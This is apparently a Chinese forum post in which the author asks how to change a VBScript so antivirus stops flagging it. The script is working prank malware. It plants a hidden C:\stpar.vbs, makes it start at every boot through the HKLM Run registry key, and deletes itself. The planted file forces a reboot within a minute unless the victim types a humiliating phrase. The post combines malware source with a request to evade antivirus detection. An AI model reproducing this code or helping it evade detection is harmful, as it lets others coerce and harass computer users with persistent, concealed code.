这段代码被电脑报了病毒，请问怎么修改下能不报
Set FSO=CreateObject("Scripting.FileSystemObject")
Set f=FSO.OpenTextFile("C:\stpar.vbs",2,True)
f.WriteLine "on error resume next "
f.WriteLine "dim WSHshellA"
f.WriteLine "set WSHshellA = wscript.createobject("&chr(34)&"wscript.shell"&chr(34)&") "
f.WriteLine "WSHshellA.run "&chr(34)&"cmd.exe /c shutdown -r -t 60 -c "&chr(34)&""&chr(34)&"说我是猪,不说我是猪一分钟内关你电脑，不信的话就试试~~"&chr(34)&""&chr(34)&" "&chr(34)&",0 ,true"
f.WriteLine "dim a"
f.WriteLine "do while(a <> "&chr(34)&"我是猪"&chr(34)&")"
f.WriteLine "a = inputbox ("&chr(34)&"说我是猪,就不关你电脑，快点哦，时间只有一分钟，说"&chr(34)&""&chr(34)&"我是猪"&chr(34)&","&chr(34)&"说不说"&chr(34)&","&chr(34)&"不说"&chr(34)&",8000,7000)"
f.WriteLine "msgbox chr(13) + chr(13) + chr(13) + a,0,"&chr(34)&"MsgBox"&chr(34)&""
f.WriteLine "loop"
f.WriteLine "msgbox chr(13) + chr(13) + chr(13) + "&chr(34)&"早说嘛~~！"&chr(34)&""
f.WriteLine "dim WSHshell"
f.WriteLine "set WSHshell = wscript.createobject("&chr(34)&"wscript.shell"&chr(34)&")"
f.WriteLine "WSHshell.run "&chr(34)&"cmd.exe /c shutdown -a"&chr(34)&",0 ,true"
f.WriteLine "msgbox chr(13) + chr(13) + chr(13) + "&chr(34)&"o(∩_∩)o...哈哈，真过瘾~~！！要记得我吖~~"&chr(34)&""
Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "stpar.vbs"
Key_data = "C:\stpar.vbs"
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
Set a = CreateObject("Scripting.FileSystemObject")
a.GetFile("c:\stpar.vbs").Attributes = 2
set fso=createobject("scripting.filesystemobject")
fso.DeleteFile WScript.ScriptFullName
谢谢